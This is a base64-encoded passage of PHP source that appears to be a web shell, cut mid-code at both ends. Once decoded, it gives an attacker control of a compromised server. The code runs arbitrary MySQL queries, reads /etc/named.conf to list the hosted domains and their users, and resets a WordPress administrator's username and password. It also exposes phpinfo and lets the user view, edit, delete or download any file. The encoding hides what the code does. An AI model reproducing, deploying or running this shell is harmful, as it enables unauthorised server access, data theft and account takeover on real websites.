SdteXNxbCcgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsaG9zdCcgdmFsdWU9JyIuJHNxbGhvc3QuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsdXNlcicgdmFsdWU9JyIuJHNxbHVzZXIuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscGFzcycgdmFsdWU9JyIuJHNxbHBhc3MuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZGInIHZhbHVlPSciLiRkYi4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YWJsZScgdmFsdWU9JyIuJHRhYmxlLiInIC8+IFBhZ2UgPHNlbGVjdCBjbGFzcz0naW5wdXR6JyBuYW1lPSd6JyBvbmNoYW5nZT0ndGhpcy5mb3JtLnN1Ym1pdCgpOyc+IjsNCmZvcigkaSA9IDE7JGkgPD0gJHRvdHBhZ2U7JGkrKyl7JGhlYWQgLj0gIjxvcHRpb24gdmFsdWU9JyIuJGkuIic+Ii4kaS4iPC9vcHRpb24+IjsNCmlmKCRpID09ICRfR0VUWyd6J10pICRoZWFkIC49ICI8b3B0aW9uIHZhbHVlPSciLiRpLiInIHNlbGVjdGVkPSdzZWxlY3RlZCc+Ii4kaS4iPC9vcHRpb24+Ijt9ICRoZWFkIC49ICI8L3NlbGVjdD48bm9zY3JpcHQ+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9ub3NjcmlwdD48L2Zvcm0+PC9kaXY+IjskbXNnID0gJG1zZ3EuJGhlYWQuJG1zZzt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWydzdWJtaXRxdWVyeSddKSAmJiAoJF9HRVRbJ3NxbHF1ZXJ5J10gIT0gIiIpKXskZGIgPSAkX0dFVFsnZGInXTskcXVlcnkgPSBtYWdpY2Jvb20oJF9HRVRbJ3NxbHF1ZXJ5J10pOw0KJG1zZyA9ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzowIDEwcHg7Jz48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0Jz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd4JyB2YWx1ZT0nbXlzcWwnIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbGhvc3QnIHZhbHVlPSciLiRzcWxob3N0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBvcnQnIHZhbHVlPSciLiRzcWxwb3J0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBhc3MnIHZhbHVlPSciLiRzcWxwYXNzLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz4gPHA+PHRleHRhcmVhIG5hbWU9J3NxbHF1ZXJ5JyBjbGFzcz0nb3V0cHV0JyBzdHlsZT0nd2lkdGg6OTglO2hlaWdodDo4MHB4Oyc+Ii4kcXVlcnkuIjwvdGV4dGFyZWE+PC9wPiA8cD48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgc3R5bGU9J3dpZHRoOjgwcHg7JyBuYW1lPSdzdWJtaXRxdWVyeScgdHlwZT0nc3VibWl0JyB2YWx1ZT0nR28gIScgLz48L3A+IDwvZm9ybT48L2Rpdj4gIjsNCkBteXNxbF9zZWxlY3RfZGIoJGRiKTskcXVlcnlzID0gZXhwbG9kZSgiOyIsJHF1ZXJ5KTsNCmZvcmVhY2goJHF1ZXJ5cyBhcyAkcXVlcnkpe2lmKHRyaW0oJHF1ZXJ5KSAhPSAiIil7JGhhc2lsID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmKCRoYXNpbCl7JG1zZyAuPSAiPHAgc3R5bGU9J3BhZGRpbmc6MDttYXJnaW46MjBweCA2cHggMCA2cHg7Jz4iLiRxdWVyeS4iOyZuYnNwOyZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdnYXlhJz5bPC9zcGFuPiBvayA8c3BhbiBjbGFzcz0nZ2F5YSc+XTwvc3Bhbj48L3A+IjskbXNnIC49ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz48dHI+IjsNCmZvcigkaT0wOyRpPEBteXNxbF9udW1fZmllbGRzKCRoYXNpbCk7JGkrKykgDQokbXNnIC49ICI8dGg+Ii5odG1sc3BlY2lhbGNoYXJzKEBteXNxbF9maWVsZF9uYW1lKCRoYXNpbCwkaSkpLiI8L3RoPiI7JG1zZyAuPSAiPC90cj4iOw0KZm9yKCRpPTA7JGk8QG15c3FsX251bV9yb3dzKCRoYXNpbCk7JGkrKykgDQp7JHJvd3M9QG15c3FsX2ZldGNoX2FycmF5KCRoYXNpbCk7JG1zZyAuPSAiPHRyPiI7DQpmb3IoJGo9MDskajxAbXlzcWxfbnVtX2ZpZWxkcygkaGFzaWwpOyRqKyspIHsNCmlmKCRyb3dzWyRqXSA9PSAiIikgJGRhdGF6ID0gIiZuYnNwOyI7DQplbHNlICRkYXRheiA9ICRyb3dzWyRqXTskbXNnIC49ICI8dGQ+Ii4kZGF0YXouIjwvdGQ+Ijt9ICRtc2cgLj0gIjwvdHI+Ijt9ICRtc2cgLj0gIjwvdGFibGU+Ijt9IA0KZWxzZSAkbXNnIC49ICI8cCBzdHlsZT0ncGFkZGluZzowO21hcmdpbjoyMHB4IDZweCAwIDZweDsnPiIuJHF1ZXJ5LiI7Jm5ic3A7Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPls8L3NwYW4+IGVycm9yIDxzcGFuIGNsYXNzPSdnYXlhJz5dPC9zcGFuPjwvcD4iO30gfSB9IA0KZWxzZSB7JHF1ZXJ5ID0gIlNIT1cgUFJPQ0VTU0xJU1Q7XG5TSE9XIFZBUklBQkxFUztcblNIT1cgU1RBVFVTOyI7JG1zZyA9ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzowIDEwcHg7Jz48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0Jz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzcWxob3N0JyB2YWx1ZT0nIi4kc3FsaG9zdC4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzcWxwYXNzJyB2YWx1ZT0nIi4kc3FscGFzcy4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz48cD48dGV4dGFyZWEgbmFtZT0nc3FscXVlcnknIGNsYXNzPSdvdXRwdXQnIHN0eWxlPSd3aWR0aDo5OCU7aGVpZ2h0OjgwcHg7Jz4iLiRxdWVyeS4iPC90ZXh0YXJlYT48L3A+PHA+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHN0eWxlPSd3aWR0aDo4MHB4OycgbmFtZT0nc3VibWl0cXVlcnknIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9wPjwvZm9ybT48L2Rpdj4gIjskZGJzID0gYXJyYXkoKTskbXNnIC49ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz48dHI+PHRoPmF2YWlsYWJsZSBkYXRhYmFzZXM8L3RoPjwvdHI+IjskaGFzaWwgPSBAbXlzcWxfbGlzdF9kYnMoJGNvbik7DQp3aGlsZShsaXN0KCRkYikgPSBAbXlzcWxfZmV0Y2hfcm93KCRoYXNpbCkpe0BhcnJheV9wdXNoKCRkYnMsJGRiKTt9IEBzb3J0KCRkYnMpO2ZvcmVhY2goJGRicyBhcyAkZGIpew0KJG1zZyAuPSAiPHRyPjx0ZD48YSBocmVmPSc/eT0iLiRwd2QuIiZhbXA7eD1teXNxbCZhbXA7c3FsaG9zdD0iLiRzcWxob3N0LiImYW1wO3NxbHVzZXI9Ii4kc3FsdXNlci4iJmFtcDtzcWxwYXNzPSIuJHNxbHBhc3MuIiZhbXA7c3FscG9ydD0iLiRzcWxwb3J0LiImYW1wO2RiPSIuJGRiLiInPiRkYjwvYT48L3RkPjwvdHI+Ijt9ICRtc2cgLj0gIjwvdGFibGU+Ijt9IA0KQG15c3FsX2Nsb3NlKCRjb24pO30gZWxzZSAkbXNnID0gIjxwIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPmNhbid0IGNvbm5lY3Q8L3A+IjtlY2hvICRtc2c7fSBlbHNlez8+IA0KPGZvcm0gYWN0aW9uPSI/IiBtZXRob2Q9ImdldCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieSIgdmFsdWU9Ijw/cGhwIGVjaG8gJHB3ZDs/PiIgLz4gPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9Im15c3FsIiAvPjxicj48YnI+PGJyPjx0YWJsZSBjbGFzcz0idGFibmV0IiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4gPHRyPjx0aCBjb2xzcGFuPSIyIj5NeVNRTCBDb25uZWN0PC90aD48L3RyPiA8dHI+PHRkPiZuYnNwOyZuYnNwO0hvc3Q8L3RkPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjIyMHB4OyIgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7VXNlcm5hbWU8L3RkPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjIyMHB4OyIgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsdXNlciIgdmFsdWU9InJvb3QiIC8+PC90ZD48L3RyPiA8dHI+PHRkPiZuYnNwOyZuYnNwO1Bhc3N3b3JkPC90ZD48dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDoyMjBweDsiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNxbHBhc3MiIHZhbHVlPSJwYXNzd29yZCIgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0id2lkdGg6ODBweDsiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNxbHBvcnQiIHZhbHVlPSIzMzA2IiAvPiZuYnNwOzxpbnB1dCBzdHlsZT0id2lkdGg6MTklOyIgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28gISIgbmFtZT0ic3VibWl0c3FsIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4gDQo8P3BocCB9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdkb21haW5zJykpe2VjaG8gIjxicj48YnI+PHAgYWxpZ249Y2VudGVyPkRvbWFpbnMgYW5kIFVzZXJzPC9wPiI7JGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQppZighJGQwbWFpbnMpe2RpZSgiPGNlbnRlcj5FcnJvciA6IGkgY2FuJ3QgcmVhZCBbIC9ldGMvbmFtZWQuY29uZiBdPC9jZW50ZXI+Iik7fWVjaG8gJzx0YWJsZSBpZD0ib3V0cHV0Ij48dHIgYmdjb2xvcj0jY2VjZWNlPjx0ZD5Eb21haW5zPC90ZD48dGQ+dXNlcnM8L3RkPjwvdHI+JzsNCmZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7aWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKXtwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTtmbHVzaCgpO2lmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXskdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpO2VjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbnNbMV1bMF0uIi8+Ii4kZG9tYWluc1sxXVswXS4iPC9hPjwvdGQ+PHRkPiIuJHVzZXJbJ25hbWUnXS4iPC90ZD48L3RyPiI7Zmx1c2goKTt9fX19DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3dvcmRwcmVzcycpKXtpZihlbXB0eSgkX1BPU1RbJ3B3ZCddKSl7ZWNobyAiPGJyPjxicj48YnI+PGJyPjxicj48YnI+PEZPUk0gbWV0aG9kPSdQT1NUJz5EQl9QcmVmaXggOiAgPElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J3dwXycgbmFtZT0ncHJlZml4JyB0eXBlPSd0ZXh0Jz4mbmJzcDsmbmJzcDtob3N0ICAgICA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nbG9jYWxob3N0JyBuYW1lPSdsb2NhbGhvc3QnIHR5cGU9J3RleHQnPiZuYnNwOyZuYnNwO2RhdGFiYXNlIDogIDxJTlBVVCBjbGFzcyA9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdEYXRhYmFzZScgbmFtZT0nZGF0YWJhc2UnIHR5cGU9J3RleHQnPiZuYnNwOyZuYnNwO3VzZXJuYW1lIDogIDxJTlBVVCBjbGFzcyA9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdkYl91c2VyJyBuYW1lPSd1c2VybmFtZScgdHlwZT0ndGV4dCc+Jm5ic3A7Jm5ic3A7cGFzc3dvcmQgOiAgPElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz4mbmJzcDsmbmJzcDs8YnI+PGJyPk5ldyB1c2VybmFtZSA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J2FkbWluJyBzaXplPScxNScgdmFsdWU9J2syJz48YnI+PGJyPk5ldyBwYXNzd29yZCA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J3B3ZCcgc2l6ZT0nMTUnIHZhbHVlPScxMjMxMjMnPjxicj4mbmJzcDsmbmJzcDs8YnI+PElOUFVUIGNsYXNzPSdpbnB1dHpidXQnIHZhbHVlPSdjaGFuZ2UnIG5hbWU9J3NlbmQnIHR5cGU9J3N1Ym1pdCc+PC9GT1JNPiI7fWVsc2V7JHByZWZpeCA9ICRfUE9TVFsncHJlZml4J107JGxvY2FsaG9zdCA9ICRfUE9TVFsnbG9jYWxob3N0J107JGRhdGFiYXNlPSAkX1BPU1RbJ2RhdGFiYXNlJ107JHVzZXJuYW1lPSAkX1BPU1RbJ3VzZXJuYW1lJ107JHBhc3N3b3JkPSAkX1BPU1RbJ3Bhc3N3b3JkJ107JHB3ZD0gJF9QT1NUWydwd2QnXTskYWRtaW49ICRfUE9TVFsnYWRtaW4nXTtAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOyRoYXNoID0gY3J5cHQoJHB3ZCk7JGsyPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfbG9naW4gPSciLiRhZG1pbi4iJyBXSEVSRSBJRCA9IDEiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7JGsyPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfcGFzcyA9JyIuJGhhc2guIicgV0hFUkUgSUQgPSAxIikgb3IgZGllKG15c3FsX2Vycm9yKCkpO2lmKCRrMil7ZWNobyAnPGJyPjxicj48Y2VudGVyPjxoMT5Eb25lIC4uLiBnbyBhbmQgbG9naW48L2gxPjwvY2VudGVyPic7fX1lY2hvICc8L2NlbnRlcj4nO30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc3RyaW5nJykpeyR0ZXh0ID0gJF9QT1NUWydjb2RlJ107Pz48Y2VudGVyPjxmb3JtIG1ldGhvZD0icG9zdCI+PGJyPjxicj48YnI+PHRleHRhcmVhIGNsYXNzPSdpbnB1dHonIGNvbHM9ODAgcm93cz01IG5hbWU9ImNvZGUiPmsybGwzM2Q8L3RleHRhcmVhPjxicj48YnI+PHNlbGVjdCBjbGFzcz0naW5wdXR6JyBzaXplPSIxIiBuYW1lPSJvcGUiPjxvcHRpb24gdmFsdWU9ImJhc2U2NCI+QmFzZTY0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibWQ1Ij5tZDU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3aGFzaCI+Q3J5cHQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJTSEExIj5TSEExPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idXJsZW5jb2RlIj5VUkwgRW5jb2Rpbmc8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtZDQiPm1kNDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IlNIQTI1NiI+U0hBMjU2PC9vcHRpb24+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J2VuY3J5cHQnPjwvZm9ybT48P3BocCAkb3AgPSAkX1BPU1RbIm9wZSJdO3N3aXRjaCAoJG9wKSB7Y2FzZSAnYmFzZTY0JzogJGNvZGk9YmFzZTY0X2VuY29kZSgkdGV4dCk7YnJlYWs7Y2FzZSAnbWQ1JyA6ICRjb2RpPW1kNSgkdGV4dCk7YnJlYWs7Y2FzZSAnd2hhc2gnIDogJGNvZGk9Y3J5cHQoJHRleHQpO2JyZWFrO2Nhc2UgJ1NIQTEnIDogJGNvZGk9c2hhMSgkdGV4dCk7YnJlYWs7Y2FzZSAndXJsZW5jb2RlJyA6ICRjb2RpPXVybGVuY29kZSgkdGV4dCk7YnJlYWs7Y2FzZSAnbWQ0JyA6ICRjb2RpPWhhc2goIm1kNCIsJHRleHQpO2JyZWFrO2Nhc2UgJ1NIQTI1NicgOiAkY29kaT1oYXNoKCJzaGEyNTYiLCR0ZXh0KTticmVhaztkZWZhdWx0OmJyZWFrO31lY2hvICc8dGV4dGFyZWEgY29scz04MCByb3dzPTEwIGNsYXNzPSJpbnB1dHoiIHJlYWRvbmx5PicuJGNvZGkuJzwvdGV4dGFyZWE+PC9jZW50ZXI+Jzt9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocGluZm8nKSl7QG9iX3N0YXJ0KCk7QGV2YWwoInBocGluZm8oKTsiKTskYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7JGF3YWwgPSBzdHJwb3MoJGJ1ZmYsIjxib2R5PiIpKzY7JGFraGlyID0gc3RycG9zKCRidWZmLCI8L2JvZHk+Iik7ZWNobyAiPGRpdiBjbGFzcz0ncGhwaW5mbyc+Ii5zdWJzdHIoJGJ1ZmYsJGF3YWwsJGFraGlyLSRhd2FsKS4iPC9kaXY+Ijt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyd2aWV3J10pICYmICgkX0dFVFsndmlldyddICE9ICIiKSl7aWYoaXNfZmlsZSgkX0dFVFsndmlldyddKSl7aWYoIWlzc2V0KCRmaWxlKSkkZmlsZSA9IG1hZ2ljYm9vbSgkX0dFVFsndmlldyddKTtpZighJHdpbiAmJiAkcG9zaXgpeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlKSk7JGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmaWxlKSk7JG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9J2dheWEnPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddO30gZWxzZSB7JG93bmVyID0gJHVzZXI7fSRmaWxuID0gYmFzZW5hbWUoJGZpbGUpO2VjaG8gIjx0YWJsZSBzdHlsZT0nbWFyZ2luOjZweCAwIDAgMnB4O2xpbmUtaGVpZ2h0OjIwcHg7Jz4gPHRyPjx0ZD5GaWxlbmFtZTwvdGQ+PHRkPjxzcGFuIGlkPSciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluayc+Ii4kZmlsZS4iPC9zcGFuPiA8Zm9ybSBhY3Rpb249Jz95PSIuJHB3ZC4iJmFtcDt2aWV3PSRmaWxlJyBtZXRob2Q9J3Bvc3QnIGlkPSciLmNsZWFyc3BhY2UoJGZpbG4pLiJfZm9ybScgY2xhc3M9J3NlbWJ1bnlpJyBzdHlsZT0nbWFyZ2luOjA7cGFkZGluZzowOyc+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J29sZG5hbWUnIHZhbHVlPSciLiRmaWxuLiInIHN0eWxlPSdtYXJnaW46MDtwYWRkaW5nOjA7JyAvPiA8aW5wdXQgY2xhc3M9J2lucHV0eicgc3R5bGU9J3dpZHRoOjIwMHB4OycgdHlwZT0ndGV4dCcgbmFtZT0nbmV3bmFtZScgdmFsdWU9JyIuJGZpbG4uIicgLz4gPGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgbmFtZT0ncmVuYW1lJyB2YWx1ZT0ncmVuYW1lJyAvPiA8aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyBuYW1lPSdjYW5jZWwnIHZhbHVlPSdjYW5jZWwnIG9uY2xpY2s9J3R1a2FyKCciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtJyk7JyAvPiA8L2Zvcm0+IDwvdGQ+PC90cj4gPHRyPjx0ZD5TaXplPC90ZD48dGQ+Ii51a3VyYW4oJGZpbGUpLiI8L3RkPjwvdHI+IDx0cj48dGQ+UGVybWlzc2lvbjwvdGQ+PHRkPiIuZ2V0X3Blcm1zKCRmaWxlKS4iPC90ZD48L3RyPiA8dHI+PHRkPk93bmVyPC90ZD48dGQ+Ii4kb3duZXIuIjwvdGQ+PC90cj4gPHRyPjx0ZD5DcmVhdGUgdGltZTwvdGQ+PHRkPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZWN0aW1lKCRmaWxlKSkuIjwvdGQ+PC90cj4gPHRyPjx0ZD5MYXN0IG1vZGlmaWVkPC90ZD48dGQ+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZpbGUpKS4iPC90ZD48L3RyPiA8dHI+PHRkPkxhc3QgYWNjZXNzZWQ8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVhdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+IDx0cj48dGQ+QWN0aW9uczwvdGQ+PHRkPjxhIGhyZWY9Jz95PSRwd2QmYW1wO2VkaXQ9JGZpbGUnPmVkaXQ8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoXCIiLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtXCIpO1wiPnJlbmFtZTwvYT4gfCA8YSBocmVmPSc/eT0kcHdkJmFtcDtkZWxldGU9JGZpbGUnPmRlbGV0ZTwvYT4gfCA8YSBocmVmPSc/eT0kcHdkJmFtcDtkbD0kZmlsZSc+ZG93bmxvYWQ8L2E+Jm5ic3A7KDxhIGhyZWY9Jz95PSRwd2QmYW1wO2RsZ3ppcD0kZmlsZSc+Z3ppcDwvYT4pPC90ZD48L3RyPiA8dHI+PHRkPlZpZXc8L3RkPjx0ZD48YSBocmVmPSc/eT0iLiRwd2QuIiZhbXA7dmlldz0iLiRmaWxlLiInPnRleHQ8L2E+IHwgPGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZmlsZS4iJmFtcDt0eXBlPWNvZGUnPmNvZGU8L2E+IHwgPGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZmlsZS4iJmFtcDt0eXBlPWltYWdlJz5pbWFnZTwvYT48L3RkPjwvdHI+PC90YWJsZT4iOw0KaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdpbWFnZScpKXtlY2hvICI8ZGl2IHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46OHB4Oyc+PGltZyBzcmM9Jz95PSIuJHB3ZC4iJmFtcDtpbWc9Ii4kZmlsbi4iJz48L2Rpdj4iO30gDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdjb2RlJykpe2VjaG8gIjxkaXYgY2xhc3M9J3ZpZXdmaWxlJz4iOyRmaWxlID0gd29yZHdyYXAoQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSwiMjQwIiwiXG4iKTtAaGlnaGxpZ2h0X3N0cmluZygkZmlsZSk7ZWNobyAiPC9kaXY+Ijt9IGVsc2Uge2VjaG8gIjxkaXYgY2xhc3M9J3ZpZXdmaWxlJz4iO2VjaG8gbmwyYnIoaHRtbGVudGl0aWVzKChAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKSkpO2VjaG8gIjwvZGl2PiI7fX1lbHNlaWYoaXNfZGlyKCRfR0VUWyd2aWV3J10pKXtlY2hvIHNob3dkaXIoJHB3ZCwkcHJvbXB0KTt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICgkX0dFVFsnZWRpdCddICE9ICIiKSl7aWYoaXNzZXQoJF9QT1NUWydzYXZlJ10pKXskZmlsZSA9ICRfUE9TVFsnc2F2ZWFzJ107JGNvbnRlbnQgPSBtYWdpY2Jvb20oJF9QT1NUWydjb250ZW50J10pO2lmKCRmaWxleiA9IEBmb3BlbigkZmlsZSwidyIpKXskdGltZSA9IGRhdGUoImQtTS1ZIEg6aSIsdGltZSgpKTtpZihAZndyaXRlKCRmaWxleiwkY29udGVudCkpICRtc2cgPSAiZmlsZSBzYXZlZCA8c3BhbiBjbGFzcz0nZ2F5YSc+QDwvc3Bhbj4gIi4kdGltZTtlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHNhdmUiO0BmY2xvc2UoJGZpbGV6KTt9ZWxzZSAkbXNnID0gInBlcm1pc3Npb24gZGVuaWVkIjt9aWYoIWlzc2V0KCRmaWxlKSkkZmlsZSA9ICRfR0VUWydlZGl0J107aWYoJGZpbGV6ID0gQGZvcGVuKCRmaWxlLCJyIikpeyRjb250ZW50ID0gIiI7DQp3aGlsZSghZmVvZigkZmlsZXopKXskY29udGVudCAuPSBodG1sZW50aXRpZXMoc3RyX3JlcGxhY2UoIicnIiwiJyIsZmdldHMoJGZpbGV6KSkpO30NCkBmY2xvc2UoJGZpbGV6KTt9Pz48Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDs/PiZhbXA7ZWRpdD08P3BocCBlY2hvICRmaWxlOz8+IiBtZXRob2Q9InBvc3QiPiA8dGFibGUgY2xhc3M9ImNtZGJveCI+IDx0cj48dGQgY29sc3Bhbj0iMiI+IA0KPHRleHRhcmVhIGNsYXNzPSJvdXRwdXQiIG5hbWU9ImNvbnRlbnQiPiANCjw/cGhwIGVjaG8gJGNvbnRlbnQ7Pz48L3RleHRhcmVhPiA8dHI+DQo8dGQgY29sc3Bhbj0iMiI+U2F2ZSBhcyA8aW5wdXQgb25Nb3VzZU92ZXI9InRoaXMuZm9jdXMoKTsiIGlkPSJjbWQiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNhdmVhcyIgc3R5bGU9IndpZHRoOjYwJTsiIHZhbHVlPSI8P3BocCBlY2hvICRmaWxlOz8+IiAvPg0KPGlucH